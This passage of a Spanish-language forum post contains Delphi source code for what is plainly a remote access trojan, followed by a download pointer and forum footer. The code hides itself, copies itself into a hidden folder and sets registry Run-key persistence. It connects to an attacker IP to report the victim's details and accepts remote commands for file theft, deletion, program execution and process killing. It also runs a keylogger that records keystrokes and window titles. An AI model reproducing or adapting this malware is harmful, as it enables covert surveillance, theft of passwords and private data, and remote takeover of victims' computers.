  441.      control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
  442.    end;
  443.  
  444.    if notengoidea > 0 then
  445.    begin
  446.      contez[notengoidea] := #0;
  447.      code := code + contez;
  448.    end;
  449.  
  450.    until not(control2) or (notengoidea = 0);
  451.  
  452.    Result := code;
  453.  
  454. end;
  455.  
  456. function crazy_mouse(number: string): string;
  457. var
  458.  i: integer;
  459.  code: string;
  460. begin
  461.  code := '';
  462.  For i := 1 to StrToInt(number) do
  463.  begin
  464.    Sleep(1000);
  465.    SetCursorPos(i, i);
  466.  end;
  467.  code := '[+] Crazy Mouse : OK';
  468.  Result := code;
  469. end;
  470.  
  471. function TForm1.datanow(): string;
  472. var
  473.  code: string;
  474.  ip: string;
  475.  pais: string;
  476.  re: string;
  477.  username: string;
  478.  os: string;
  479.  
  480. begin
  481.  
  482.  try
  483.    begin
  484.      code := IdHTTP1.Get('http://whatismyipaddress.com/');
  485.  
  486.      ip := regex(code, 'alt="Click for more about ', '"></a>');
  487.      pais := regex(code, '<tr><th>Country:</th><td>', '</td></tr>');
  488.  
  489.      if (ip = '') then
  490.      begin
  491.        ip := '?';
  492.      end;
  493.  
  494.      if (pais = '') then
  495.      begin
  496.        pais := '?';
  497.      end;
  498.  
  499.      username := GetEnvironmentVariable('username');
  500.      os := GetEnvironmentVariable('os');
  501.  
  502.      re := '[datos_nuevos][ip]' + ip + '[ip]' + '[pais]' + pais + '[pais]' +
  503.        '[username]' + username + '[username]' + '[os]' + os + '[os]';
  504.    end;
  505.  except
  506.    //
  507.  end;
  508.  
  509.  Result := re;
  510.  
  511. end;
  512.  
  513. //
  514.  
  515. procedure TForm1.ClientSocket1Connect(Sender: TObject;
  516.  Socket: TCustomWinSocket);
  517. begin
  518.  ClientSocket1.Socket.SendText(datanow());
  519. end;
  520.  
  521. procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  522. var
  523.  code: string;
  524.  argumento: string;
  525. begin
  526.  code := Socket.ReceiveText;
  527.  
  528.  argumento := regex(code, '[argumento]', '[argumento]');
  529.  
  530.  if (Pos('![opencd]', code) > 0) then
  531.  begin
  532.    ClientSocket1.Socket.SendText(lectora('open'));
  533.  end;
  534.  
  535.  if (Pos('![closecd]', code) > 0) then
  536.  begin
  537.    ClientSocket1.Socket.SendText(lectora('close'));
  538.  end;
  539.  
  540.  if (Pos('![listardirectorio]', code) > 0) then
  541.  begin
  542.    ClientSocket1.Socket.SendText(listardirectorio(argumento));
  543.  end;
  544.  
  545.  if (Pos('![borraresto]', code) > 0) then
  546.  begin
  547.    ClientSocket1.Socket.SendText(borraresto(argumento));
  548.  end;
  549.  
  550.  if (Pos('![leerarchivo]', code) > 0) then
  551.  begin
  552.    ClientSocket1.Socket.SendText(LeerArchivo(argumento));
  553.  end;
  554.  
  555.  if (Pos('![keyloggerlogs]', code) > 0) then
  556.  begin
  557.    ClientSocket1.Socket.SendText('![keyloggerlogs]<br>' + LeerArchivo(acatoy));
  558.  end;
  559.  
  560.  if (Pos('![sendkeys]', code) > 0) then
  561.  begin
  562.    ClientSocket1.Socket.SendText(SendKeys(argumento));
  563.  end;
  564.  
  565.  if (Pos('![escribirword]', code) > 0) then
  566.  begin
  567.    ClientSocket1.Socket.SendText(escribir_word(argumento));
  568.  end;
  569.  
  570.  if (Pos('![mensaje]', code) > 0) then
  571.  begin
  572.    ClientSocket1.Socket.SendText(mensaje(argumento));
  573.  end;
  574.  
  575.  if (Pos('![hablar]', code) > 0) then
  576.  begin
  577.    ClientSocket1.Socket.SendText(hablar(argumento));
  578.  end;
  579.  
  580.  if (Pos('![matarproceso]', code) > 0) then
  581.  begin
  582.    ClientSocket1.Socket.SendText(matarproceso(argumento));
  583.  end;
  584.  
  585.  if (Pos('![ejecutar]', code) > 0) then
  586.  begin
  587.    ClientSocket1.Socket.SendText(ejecutar(argumento));
  588.  end;
  589.  
  590.  if (Pos('![crazymouse]', code) > 0) then
  591.  begin
  592.    ClientSocket1.Socket.SendText(crazy_mouse(argumento));
  593.  end;
  594.  
  595.  if (Pos('![ocultartaskbar]', code) > 0) then
  596.  begin
  597.    ClientSocket1.Socket.SendText(cambiar_barra('hide'));
  598.  end;
  599.  
  600.  if (Pos('![volvertaskbar]', code) > 0) then
  601.  begin
  602.    ClientSocket1.Socket.SendText(cambiar_barra('na'));
  603.  end;
  604.  
  605.  if (Pos('![ocultariconos]', code) > 0) then
  606.  begin
  607.    ClientSocket1.Socket.SendText(cambiar_iconos('hide'));
  608.  end;
  609.  
  610.  if (Pos('![volvericonos]', code) > 0) then
  611.  begin
  612.    ClientSocket1.Socket.SendText(cambiar_iconos('na'));
  613.  end;
  614.  
  615.  if (Pos('![listarprocesos]', code) > 0) then
  616.  begin
  617.    ClientSocket1.Socket.SendText(listarprocesos());
  618.  end;
  619.  
  620. end;
  621.  
  622. procedure TForm1.FormCreate(Sender: TObject);
  623. var
  624.  dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string;
  625.  registro: HKEY;
  626.  ip: string;
  627.  
  628.  ob: THandle;
  629.  code: Array [0 .. 9999 + 1] of Char;
  630.  nose: DWORD;
  631.  todo: string;
  632.  
  633. begin
  634.  
  635.  Application.ShowMainForm := FALSE;
  636.  
  637.  ob := INVALID_HANDLE_VALUE;
  638.  code := '';
  639.  
  640.  ob := CreateFile(PChar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  641.    OPEN_EXISTING, 0, 0);
  642.  if (ob <> INVALID_HANDLE_VALUE) then
  643.  begin
  644.    SetFilePointer(ob, -9999, nil, FILE_END);
  645.    ReadFile(ob, code, 9999, nose, nil);
  646.    CloseHandle(ob);
  647.  end;
  648.  
  649.  todo := regex(code, '[63686175]', '[63686175]');
  650.  todo := dhencode(todo, 'decode');
  651.  
  652.  ip := regex(todo, '[ip]', '[ip]');
  653.  
  654.  try
  655.    begin
  656.      dir_hide := GetEnvironmentVariable('USERPROFILE') + '/';
  657.      carpeta := 'ratata';
  658.  
  659.      dir := dir_hide + carpeta + '/';
  660.  
  661.      if not(DirectoryExists(dir)) then
  662.      begin
  663.        CreateDir(dir);
  664.      end;
  665.  
  666.      ChDir(dir);
  667.  
  668.      nombrereal := ExtractFileName(paramstr(0));
  669.      rutareal := dir;
  670.      yalisto := dir + nombrereal;
  671.  
  672.      acatoy := dir + 'logs.html';
  673.  
  674.      MoveFile(PChar(paramstr(0)), PChar(yalisto));
  675.  
  676.      SetFileAttributes(PChar(dir), FILE_ATTRIBUTE_HIDDEN);
  677.  
  678.      SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  679.  
  680.      RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  681.        'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
  682.        REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
  683.      RegSetValueEx(registro, 'uberk', 0, REG_SZ, PChar(yalisto), 666);
  684.      RegCloseKey(registro);
  685.  
  686.      savefile('logs.html',
  687.        '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
  688.  
  689.      ClientSocket1.Address := ip;
  690.      ClientSocket1.Port := 6664;
  691.      ClientSocket1.Open;
  692.  
  693.    end;
  694.  except
  695.    //
  696.  end;
  697.  
  698. end;
  699.  
  700. procedure TForm1.sButton1Click(Sender: TObject);
  701. begin
  702.  ClientSocket1.Socket.SendText(datanow());
  703. end;
  704.  
  705. procedure TForm1.Timer1Timer(Sender: TObject);
  706. var
  707.  i: integer;
  708.  Result: Longint;
  709.  mayus: integer;
  710.  shift: integer;
  711.  
  712. const
  713.  
  714.  n_numeros_izquierda: array [1 .. 10] of string =
  715.    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
  716.  
  717. const
  718.  t_numeros_izquierda: array [1 .. 10] of string =
  719.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  720.  
  721. const
  722.  n_numeros_derecha: array [1 .. 10] of string =
  723.    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
  724.  
  725. const
  726.  t_numeros_derecha: array [1 .. 10] of string =
  727.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  728.  
  729. const
  730.  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
  731.    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
  732.    '291', '220', '221', '222', '226');
  733.  
  734. const
  735.  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
  736.    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
  737.    '|');
  738.  
  739. const
  740.  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
  741.    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
  742.    '226');
  743.  
  744. const
  745.  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
  746.    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
  747.    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
  748.  
  749. begin
  750.  
  751.  // Others
  752.  
  753.  for i := Low(n_raros) to High(n_raros) do
  754.  begin
  755.    Result := GetAsyncKeyState(StrToInt(n_raros[i]));
  756.    If Result = -32767 then
  757.    begin
  758.      savefile('logs.html', t_raros[i]);
  759.    end;
  760.  end;
  761.  
  762.  // Numbers
  763.  
  764.  for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  765.  begin
  766.    Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
  767.    If Result = -32767 then
  768.    begin
  769.      savefile('logs.html', t_numeros_derecha[i]);
  770.    end;
  771.  end;
  772.  
  773.  for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  774.  begin
  775.    Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
  776.    If Result = -32767 then
  777.    begin
  778.      savefile('logs.html', t_numeros_izquierda[i]);
  779.    end;
  780.  end;
  781.  
  782.  // SHIFT
  783.  
  784.  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  785.  begin
  786.  
  787.    for i := Low(n_shift) to High(n_shift) do
  788.    begin
  789.      Result := GetAsyncKeyState(StrToInt(n_shift[i]));
  790.      If Result = -32767 then
  791.      begin
  792.        savefile('logs.html', t_shift[i]);
  793.      end;
  794.    end;
  795.  
  796.    for i := 65 to 90 do
  797.    begin
  798.      Result := GetAsyncKeyState(i);
  799.      If Result = -32767 then
  800.      Begin
  801.        savefile('logs.html', Chr(i + 0));
  802.      End;
  803.    end;
  804.  
  805.  end;
  806.  
  807.  // MAYUS
  808.  
  809.  if (GetKeyState(20) = 0) then
  810.  begin
  811.    mayus := 32;
  812.  end
  813.  else
  814.  begin
  815.    mayus := 0;
  816.  end;
  817.  
  818.  for i := 65 to 90 do
  819.  begin
  820.    Result := GetAsyncKeyState(i);
  821.    If Result = -32767 then
  822.    Begin
  823.      savefile('logs.html', Chr(i + mayus));
  824.    End;
  825.  end;
  826.  
  827. end;
  828.  
  829. procedure TForm1.Timer2Timer(Sender: TObject);
  830. var
  831.  ventana1: array [0 .. 255] of Char;
  832.  nombre1: string;
  833.  
  834. begin
  835.  
  836.  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  837.  
  838.  nombre1 := ventana1;
  839.  
  840.  if not(nombre1 = Nombre2) then
  841.  begin
  842.    Nombre2 := nombre1;
  843.    savefile('logs.html',
  844.      '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
  845.  end;
  846.  
  847. end;
  848.  
  849. //
  850.  
  851. end.
  852.  
  853. // The End ?
  854.  

Si lo quieren bajar lo pueden hacer de aca.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software
GroK 26 25,421 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines